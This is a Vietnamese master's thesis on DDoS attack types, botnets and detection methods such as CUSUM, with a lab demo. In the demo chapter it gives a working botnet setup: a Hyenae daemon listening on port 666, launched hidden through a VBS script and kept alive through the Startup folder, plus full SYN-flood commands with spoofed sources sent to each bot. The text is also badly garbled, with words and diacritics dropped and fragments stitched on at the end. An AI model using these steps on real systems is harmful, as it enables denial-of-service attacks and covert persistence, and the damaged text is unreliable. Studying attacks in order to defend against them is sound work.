Nghiên cứu các hình thức tấn công mạng DDOS và phương pháp phòng chống

BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC BÁCH KHOA HÀ NỘI NGUYỄN THỊ LỆ THỦY Nguyễn Thị Lệ Thủy KỸ THUẬT VIỄN THƠNG NGHIÊN CỨU CÁC HÌNH THỨC TẤN CƠNG MẠNG DDOS VÀ PHƯƠNG PHÁP PHỊNG CHỐNG (STUDY THE PATTERNS OF NETWORK ATTACKS AND DDOS MITIGATION METHODS) LUẬN VĂN THẠC SĨ KỸ THUẬT Kỹ thuật viễn thông 2014B Hà Nội – Năm 2016 BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC BÁCH KHOA HÀ NỘI Nguyễn Thị Lệ Thủy NGHIÊN CỨU CÁC HÌNH THỨC TẤN CƠNG MẠNG DDOS VÀ PHƯƠNG PHÁP PHÒNG CHỐNG (STUDY THE PATTERNS OF NETWORK ATTACKS AND DDOS MITIGATION METHODS) Chuyên ngành : Kỹ thuật viễn thông LUẬN VĂN THẠC SĨ KỸ THUẬT Kỹ thuật viễn thông NGƯỜI HƯỚNG DẪN KHOA HỌC : Tiến sỹ Nguyễn Tài Hưng Hà Nội – Năm 2016 MỤC LỤC LỜI CẢM ƠN .4 LỜI CAM ĐOAN .5 DANH MỤC CÁC TỪ VIẾT TẮT DANH MỤC CÁC HÌNH VẼ, ĐỒ THỊ .8 PHẦN MỞ ĐẦU .10 PHẦN NỘI DUNG 14 CHƢƠNG I : TỔNG QUAN VỀ TẤN CÔNG DoS VÀ DDoS 14 1.1 Định nghĩa công DoS: 14 1.2 Mục đích cơng hiểm họa 14 1.2.1 Các mục đích cơng DoS 14 1.2.2 Mục tiêu mà kẻ công thƣờng sử dụng công DoS 15 1.3 Các hình thức cơng DoS bản: 15 1.3.1 Tấn công Smurf 15 1.3.3 Tấn công Ping of Death 16 1.3.4 Tấn công Teardrop 16 1.3.5 Tấn công SYN 17 1.4 Các công cụ công DoS 18 1.4.1 Tools DoS: Jolt2 18 1.4.2 Tools DoS: Bubonic.c 18 1.4.3 Tools DoS: Land and LaTierra 19 1.4.4 Tools DoS: Targa 19 1.4.5 Tools DoS: Blast 2.0 20 1.4.6 Tools DoS: Nemesys 20 1.4.7 Tool DoS: Panther2 .20 1.4.8 Tool DoS: Crazy Pinger 20 1.4.9 Tool DoS: Some Trouble 21 1.4.10 Tools DoS: UDP Flooder 21 1.4.11 Tools DoS – FSMAX .21 1.5 Định nghĩa công DDoS 22 1.6 Các đặc tính cơng DDoS 23 1.7 Tấn công DDoS ngăn chặn hoàn toàn 23 1.8 Kiến trúc tổng quan DDoS attack-network 24 1.8.1 Mơ hình Agent – Handler .25 1.8.2 Mơ hình IRC – Based .26 1.9 Phân loại công DDoS 27 1.9.1 Những kiểu công làm cạn kiệt băng thông mạng (BandWith Depletion Attack) .28 1.9.2 Kiểu công làm cạn kiệt tài nguyên 30 1.10 Kết luận chƣơng I 32 CHƢƠNG II: .33 CÁC PHƢƠNG THỨC TẤN CƠNG VÀ PHỊNG CHỐNG DDOS 33 2.1 Ý nghĩa mạng BOT 33 2.2 Mạng BOT 34 2.3 Mạng BOTNET .34 2.4 Mục đích sử dụng mạng BOTNETs 34 2.5 Các dạng mạng BOTNET: 35 2.6 Các bƣớc xây dựng mạng BotNet? 35 Bƣớc 1: Cách lây nhiễm vào máy tính 36 Bƣớc 2: Cách lây lan xây dựng tạo mạng BOTNET .36 Bƣớc 3: Kết nối vào IRC 36 Bƣớc 4: Điều khiển công từ mạng BotNet 36 2.7 Sơ đồ cách hệ thống bị lây nhiễm sử dụng Agobot .37 2.8 Sơ đồ mạng Botnet .38 2.8.1 Sơ đồ Handler-Agent .38 2.8.2 Sơ đồ IRC Base 39 2.9 Các phƣơng pháp xây dựng tài nguyên công .40 2.9.1 Cách thức cài đặt DDoS Agent .41 2.9.2 Giao tiếp mạng Botnet 42 2.9.3 Các chức công cụ DDoS: 43 2.10 Một số kiểu công DDoS công cụ công DDoS 44 2.10.1 Một số kiểu công DDoS 44 2.10.2 Một số công cụ công DDoS .44 2.11 Phòng chống giảm thiểu công DDoS 48 2.11.1 Phòng chống giảm thiểu công DDoS 48 2.11.2 Những vấn đề có liên quan 52 2.12 Hệ thống phát giảm thiểu DDos 54 2.12.1 Các yêu cầu môt hệ thống phát DDos 55 2.12.2 Phân tích phát công DDos .55 2.12.3 Một số thuật toán phát DDos 56 2.13 Hệ thống phát giảm thiểu DDoS tự động 58 2.13.1 Cơ chế kiểm tra địa nguồn 58 2.13.2 Kỹ thuật phát giảm thiểu theo thuật toán CUSUM .60 2.14 Kết luận chƣơng II: 63 CHƢƠNG III: DEMO TẤN CÔNG DDoS 64 3.1 Kịch DeMo công DDoS 64 3.2 Hƣớng dẫn tạo công DDoS: .68 3.2.1 Cài đặt Clone máy trạm 68 3.3.2 Khởi động máy chủ Webserver thiết lập cấu hình 69 3.3.3 Khởi động máy chủ Botnet 72 3.3.4 Khởi động máy chủ C&C Server thực công 77 KẾT LUẬN VÀ HƢỚNG PHÁT TRIỂN 83 TÀI LIỆU THAM KHẢO .833 LỜI CẢM ƠN Tôi xin gửi lời cảm ơn trân trọng tới Tiến Sĩ Nguyễn Tài Hƣng, ngƣời cho định hƣớng ý kiến q báu để tơi hồn thành đƣợc khóa luận tốt nghiệp Tơi xin tỏ lịng biết ơn sâu sắc tới thầy cơ, bạn bè dìu dắt, giúp đỡ tơi tiến suốt q trình làm khóa luận tốt nghiệp Xin cảm ơn gia đình bè bạn, ngƣời ln khuyến khích giúp đỡ tơi hồn cảnh khó khăn Tơi xin cảm ơn Viện Điện tử viễn thông, Viện Đào tạo Sau đại học – Trƣờng Đại học Bách khoa Hà Nội tạo điều kiện cho q trình học, làm hồn thành khóa luận Hà Nội, ngày … tháng …năm 2016 Người thực LỜI CAM ĐOAN Tơi xin cam đoan, mà viết luận văn tìm hiểu, nghiên cứu thân hƣớng dẫn Tiến Sĩ Nguyễn Tài Hƣng Mọi kết nghiên cứu nhƣ ý tƣởng tác giả khác có đƣợc trích dẫn nguồn gốc cụ thể Tơi xin hồn tồn chịu trách nhiệm mà tơi cam đoan Hà Nội, ngày … tháng …năm 2016 Người thực DANH MỤC CÁC TỪ VIẾT TẮT DoS: Denial of Service: Tấn công từ chối dịch vụ DDoS: Distributed Denial of Service: Tấn công từ chối dịch vụ phân tán ICMP: Internet Control Message Protocol : Giao thức xử lý thông báo trạng thái cho IP (Transport Layer) DNS: Domain Name System : Hệ thống tên miền SYN: The Synchronous Idle Character: Ký tự đồng hoá LAN: Local Area Network: Hệ thống máy tính thiết bị ngoại vi đƣợc liên kết với ISP: Internet Service Provider: Nhà cung cấp dịch vụ Internet TCP/IP: Transmission Control Protocol and Internet Protocol Gói tin TCP/IP khối liệu đƣợc nén, sau kèm thêm header gửi đến máy tính khác Phần header gói tin chứa địa IP ngƣời gửi gói tin Security: Bảo mật UDP: User Datagram Protocol : Những gói tin có điểm xuất phát điểm đích xác định Domain :Tên miền website đó.VD : http://www.quantrimang.com OS: Operation System : Hệ điều hành IRC: Internet Relay Chat: Là chƣơng trình độc lập nơi mà bạn tham gia vào kênh chat Packet: Gói liệu Server: Máy chủ Client: Máy con, dùng để kết nối với máy chủ (Server) Info: Là chữ viết tắt "Information", tức thông tin Firewall: Tƣờng lửa Exploit: Khai thác (một lỗi đó) Fake IP: IP giả mạo Local Exploit: Là khai thác cục DANH MỤC CÁC HÌNH VẼ, ĐỒ THỊ Hình 1.1: Tấn công Ping of Death 16 Hình 1.2:Tấn cơng SYN (mơ hình bắt tay ba bƣớc) 17 Hình 1.3:Tấn cơng kiểu Tools DoS: Jolt2 18 Hình 1.4:Tấn cơng kiểu Tools DoS: Bubonic.c 19 Hình 1.5: Tấn cơng kiểu Tools DoS: Nemesys 20 Hình 1.6: Tấn cơng kiểu Tool DoS: Crazy Pinger 20 Hình 1.7: Tấn cơng kiểu Tool DoS: Some Trouble 21 Hình 1.8: Tấn cơng kiểu Tool DoS: FSMAX 21 Hình 1.9: Mơ hình cơng DDoS 22 Hình 1.10: Mơ hình tổng quan DDoS attack-network 24 Hình 1.11: Mơ hình Agent - Handler 25 Hình 1.12: Mơ hình IRC - Based 26 Hình 1.13: Sơ đồ phân loại công DDoS 27 Hình 1.14:Amplifier Network System 29 Hình 1.15: Mơ hình truyền – nhận liệu (SYN REQEST packet) 30 Hình 1.16: Mơ hình truyền – nhận liệu (SYN/ACK REPLY) 31 Hình 1.17: Mơ hình Client/Server 31 Hình 2.1: Mơ hình DDoS Attack 33 Hình 2.2: Sơ đồ hệ thống bị lây nhiễm DDoS 37 Hình 2.3: Sơ đồ Handler-Agent 38 Hình 2.4: Sơ đồ IRC Base 39 Hình 2.5: Các phƣơng pháp xây dựng tài nguyên công 41 Hình 2.6: Mơ hình mạng Classic DDoS 46 Hình 2.7: Mơ hình mạng X-Flash DDoS 47 Hình 2.8: Các giai đoạn chi tiết phòng chống DDoS 49 Hình 2.9: Tỷ lệ phần trăm new IP với  n=10s 62 Hình 2.10: Thuật tốn CUSUM lƣu lƣợng mạng bình thƣờng 62 H nh : Mơ hình Demo công DDoS 64 H nh 3.2: cài đặt Clone máy trạm 68 H nh Đặt tên cho máy trạm 69 H nh Cấu hình máy chủ WebServer 69 H nh Thiết lập cấu hình cho Webserver 70 H nh Cài đặt địa IP cho máy chủ 70 H nh Thiết lập thông số cho XAMPP 71 H nh Giao diện chạy Apache 71 H nh Kiểm tra dịch vụ Webserver 72 H nh Giao diện BOTNET01 72 H nh Đạt IP cho BOTNET01 73 H nh 9: Kiểm tra dịch vụ Webserver 3.3.3 Khởi động máy chủ Botnet Đảm bảo cấu hình card mạng phải để chế độ Bridged H nh 3.10: Giao diện BOTNET01 72 Đặt ip cho máy BOTNET01 nhƣ sau H nh 3.11: Đạt IP cho BOTNET01 Các máy khác đặt thêm nhƣ BOTNET02 192.168.1.102, BOTNET03 192.168.1.103… Tạo Bot lắng nghe cổng 666 Trong thƣ mục C:\Program Files\Hyenae chọn new  text Document H nh 3.12: Giao diện thiết lập file Botnet.Bat 73 Nội dung file điền nhƣ sau: hyenaed.exe -I -u 10000 Save file đổi tên file thành Botnet.bat Lƣu ý trƣớc đổi bỏ chọn Hide extensions for known file types H nh 3.13: Cách tạo file Botnet.Bat H nh 3.14: Giao diện sau tạo file Botnet.Bat Tiếp tục new file text điền thông tin nhƣ sau 74 CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False Save đổi tên file thành invisible.vbs H nh 3.15: Giao diện sau tạo file Invisible.vbs Tiếp tục tạo 01 file text với nội dung nhƣ sau: wscript.exe "C:\Program Files\Hyenae\invisible.vbs" "C:\Program Files\Hyenae\Botnet.bat" Save lại đổi tên file thành Botnetstartup.bat H nh 3.16: Giao diện sau tạo file Botnetstartup.bat Tạo shortcut cho file Botnetstartup.bat 75 H nh 3.17: Tạo shortcut cho file Botnetstartup.bat Copy file shortcut vào thƣ mục C:\Documents and Settings\All Users\Start Menu\Programs\Startup ( Nhằm mục đích máy tính khởi động lại file tự chạy Sẽ chạy ẩn tiến trình) H nh 3.18: Đƣờng dẫn cho file Botnetstartup.bat Chạy file Botnetstartup.bat chƣa đƣợc chạy (Sau lần khởi động lại máy trạm không cần chạy file nữa) Kiểm tra xem tiến trình có chạy khơng? Đảm bảo có tiến trình Hyenaed.exe ok 76 H nh 3.19: Kiểm tra cấu hình file Hyenaed.exe cmd.exe Vậy xong phần setup máy BOTNET GIờ đến phần C&C Server Nếu muốn thêm máy BOTNET khác Clone ln từ máy Làm tƣơng tự bƣớc nhƣ để tạo thêm máy BOTNET 3.3.4 Khởi động máy chủ C&C Server thực công Khởi động máy chủ C&C Server Xác định địa MAC Gateway (là Interface E0/0 Firewall) H nh 3.20: Địa MAC C&C Server 77 Điều khiển công máy chủ webserver từ máy chủ C&C Server H nh : Giao diện máy C&C Vào start run cmd gõ lệnh sau: hyenae.exe -r 192.168.1.101@666 -A -a tcp -s %-%@80 -d 00:ab:cd:92:52:00-192.168.88.128@80 -f S -t 128 -k -w -q -Q Trong 00:ab:cd:92:52:00 địa MAC Gateway 192.168.1.101 địa IP máy BOTNET01 Để điều khiển máy BOTNET02 với IP 192.168.1.102 ta vào cmd gõ lệnh sau: hyenae.exe -r 192.168.1.102@666 -A -a tcp -s %-%@80 -d 00:ab:cd:92:52:00-192.168.88.128@80 -f S -t 128 -k -w -q -Q Để điều khiển máy BOTNET03 với IP 192.168.1.103 ta vào cmd gõ lệnh sau: hyenae.exe -r 192.168.1.103@666 -A -a tcp -s %-%@80 -d 00:ab:cd:92:52:00-192.168.88.128@80 -f S -t 128 -k -w -q -Q 78 H nh : Giao diện C&C đặt lệnh công  Trƣớc Khi công DDoS xảy ra: DU meter bắt đƣợc lƣợng tin: H nh : Trƣớc công DDoS xảy  Khi công DDoS xảy ra: Vào Tool HyenaeFE chọn nút Excute : nhƣ bắt đầu thực thiện cơng Botnet Khi bị cơng kiểm tra xem wireshark bắt đƣợc gói tin gửi tới Server trang webserver khó vào chí kết nối +Wireshark bên Server bắt đƣợc gói tin nhƣ hình: 79 H nh : Wireshark bắt gói tin cơng DDoS xảy DU meter bắt lượng tin nhiều H nh 3.25: DU meter bắt lƣợng tin DDoS xảy 80  Sau công DDoS xảy ra: Vào trang Web chậm có lúc đƣợc có lúc khơng Trang web bị kết nối tới server: H nh : Trang web bị kết nối DU Meter bắt đƣợc lƣợng tin: H nh : DU Meter bắt đƣợc lƣợng tin DDoS 81 Wireshark bắt đƣợc 10 gói SYN gửi đến Webserver H nh 3.28: Wireshark bắt đƣợc 10 gói SYN Truy cập vào web khơng cịn H nh Web bị sập sau DDoS 82 KẾT LUẬN VÀ HƢỚNG PHÁT TRIỂN Tấn công từ chối dịch vụ phân tán phát triển đáng lo ngại năm gần mối đe dọa thƣờng trực với hệ thống mạng quan phủ doanh nghiệp Nhiều công DDoS với quy mô lớn đƣợc thực gây tê liệt hệ thống mạng Chính phủ Hàn Quốc gây ngắt quãng hoạt động mạng dịch vụ trực truyến tiếng nhƣ Yahoo Tấn cơng DDoS khó phịng chống hiệu quy mô lớn chất phân tán Nhiều kỹ thuật cơng cụ công DDoS phức tạp đƣợc phát triển, hỗ trợ đắc lực cho cơng DDoS phát triển nhanh chóng kỹ thuật lây nhiễm phần mềm độc hại, xây dựng hệ thống mạng máy tính ma (zombie, botnets) Tin tặc chiếm quyền điều khiển máy tính có kết nối Internet, điểu khiển mạng botnet với hàng trăm ngàn máy tính để thực cơng DDoS Để có giải pháp tồn diện phịng chống cơng DDoS hiệu quả, việc nghiên cứu dạng công DDoS khâu cần thực Tấn công từ chối dịch vụ phân tán dạng công mạng nguy hiểm, chƣa có giải pháp tổng quát cụ thể để phịng chống cơng DDoS tính phức tạp tinh vi chúng Tùy vào tình kẻ công thực để lên phƣơng án phòng chống, kiểm tra xem chúng đánh vào tầng (TCP, Application, ), đánh theo chế từ xem hệ thống có lỗ hổng khơng, chắn có cách thích hợp để xử lý chúng Trong khóa luận tác giả giới thiệu tổng quan phân loại công DDoS Bên cạnh tác giả giới thiệu phƣơng thức, công cụ công DDoS, bƣớc xây dựng mạng Botnet; Các thuật toán phát DDoS đƣợc sử dụng phổ biến giới Những thuật tốn giúp phát triển hệ thống dựa tảng có Nhƣ khóa luận này, tác giả sử dụng phần mềm giả định Backtracks 5r3 – Vmware workstation, phần mềm Hyenaed để mô công DDoS sử dụng thuật toán CUSUM để phát dấu hiệu cơng DDos; Và phƣơng thức phịng chống DDoS Trên sở có đánh giá khả bị công lựa 83 chọn tập biện pháp phòng ngừa, phát giảm thiểu công cách hiệu Những kết đạt đƣợc + Tìm hiểu chi tiết, tổng quan khía cạnh tảng cơng nghệ DDoS nhƣ chất khái niệm, thách thức u cầu, ứng dụng, mơ hình kiến trúc, chuẩn + Xây dựng đƣợc ứng dụng demo cho công cụ DDoS tảng Hyenaed, Backtrack5r3, SYN Flood + Cơng cụ mạnh, làm sập webside dùng host FREE vòng phút + Xây dựng đƣợc Firewall phòng chống DDoS đơn giản, dùng ASA Những vấn đề tồn + Chƣơng trình cần hồn thiện + Đây demo nhỏ minh họa cho chế SYN Flood, TCP, UDP + Cần có chƣơng trình trung gian thứ để tìm cổng mở máy đích Hƣớng phát triển Tuy nhiên thời gian có hạn nên hệ thống cịn nhiều vấn đề chƣa đƣợc giải Ví dụ nhƣ: tính địa IP cách chi tiết để hạn chế tối đa việc chặn nhầm; Xây dựng quét cổng mở cho ứng dụng.; Thiết kế cho ứng dụng công mạnh mẽ hơn; Thiết kế để cơng Server lớn … Hy vọng tƣơng lai không xa hệ thống đƣợc phát triển hoàn thiện để ứng dụng thực tế 84 TÀI LIỆU THAM KHẢO B E Brodsky and B S Darkhovsky (1993), Nonparametric Methods in Change-point Problems, Kluwer Academic Publishers, pp 78-90 Christos Douligeris and Aikaterini Mitrokotsa (2003), DDoS Attacks And Defense Mechanisms: A Classification, Signal Processing and Information Technology Jelena Mirkovic, Janice Martin and Peter Reiher (2004), A Taxonomy of DDoS Attacks and DDoS Defense Mechanisms, ACM SIGCOMM Computer Communication Review Jameel Hashmi, Manish Saxena, and Rajesh Saini (2012), Classification of DDoS Attacks and their Defense Techniques using Intrusion Prevention System, International Journal of Computer Science & Communication Networks Jelena Mikovic, G.Prier and P.Reiher (2002), Attacking DdoS at the source, Proceedings of ICNP Jelena Mikovic, G.Prier and P.Reiher (2002), A Taxonomy of DdoS Attacks and DdoS Defense Mechanisms , UCLA CSD Technical Report no 020018 Jelena Mikovic, G.Prier and P.Reiher (2002), Source Router Approach to DdoS Defense – UCLA CSD Technical Report no 010042 Kanwal Garg, Rshma Chawla (2011), Detection Of DDoS Attacks Using Data Mining, International Journal of Computing and Business Research K.Park and H Lee.(2001), On the Effectiveness of Route-Based Packet Filtering for Distributed DoS Attack Prevention in Power-Law Internets In Proceedings of ACM SIGCOMM 10 Mbabazi Ruth Reg No (2005), Victim-based defense against IP packet flooding denial of service attacks 11 Monowar H Bhuyan, H J Kashyap, D K Bhattacharyya and J K Kalita (2013), Detecting Distributed Denial of Service Attacks: Methods, Tools and 85 Future Directions, The Computer Journal 12 Mohammed Alenezi (2012), Methodologies for detecting DoS/DDoS attacks against network servers, The Seventh International Conference on Systems and Networks Communications - ICSNC 13 Rajkumar, Manisha Jitendra Nene (2013), A Survey on Latest DoS Attacks Classification and Defense Mechanisms, International Journal of Innovative Research in Computer and Communication Engineering 14 Saman Taghavi Zargar, James Joshi, Member and David Tippe (2013), A Survey of Defense Mechanisms Against Distributed Denial of Service (DDoS) Flooding Attacks, IEEE Communications Surveys & Tutorials 15 Tao Peng Christopher Leckie Kotagiri Ramamohanarao (2011), Protection from Distributed Denial of Service Attack, Using History-based IP Filtering 16 Thwe Thwe Oo, Thandar Phyu (2013), A Statistical Approach to Classify and Identify DDoS Attacks using UCLA Dataset, International Journal of Advanced Research in Computer Engineering & Technology 17 Tony Scheid (2011), DDoS Detection and Mitigation Best Practices, Arbor Networks 18 T Peng, C Leckie, and K Ramamohanarao (2003), Detecting distributed denial of service attacks, using source ip address monitoring 86 ... Hình 2.5: Các phƣơng pháp xây dựng tài nguyên công 41 Hình 2.6: Mơ hình mạng Classic DDoS 46 Hình 2.7: Mơ hình mạng X-Flash DDoS 47 Hình 2.8: Các giai đoạn chi tiết phịng chống. .. Chƣơng II Các phƣơng thức công phịng chống DDoS: Trình bày phƣơng thức, cách thức công DDoS Chƣơng III Demo công DDoS: Trình bày mơ hình thực tế mạng Botnet giả định, giải pháp, mơ hình thực nghiệm... kiểu công DDoS công cụ công DDoS 2.10.1 Một số kiểu công DDoS Bên cạnh việc phân loại kiểu công theo mục đích cơng, ta cịn phân loại theo cách công vào giao thức Dƣới phân loại số cách công DDoS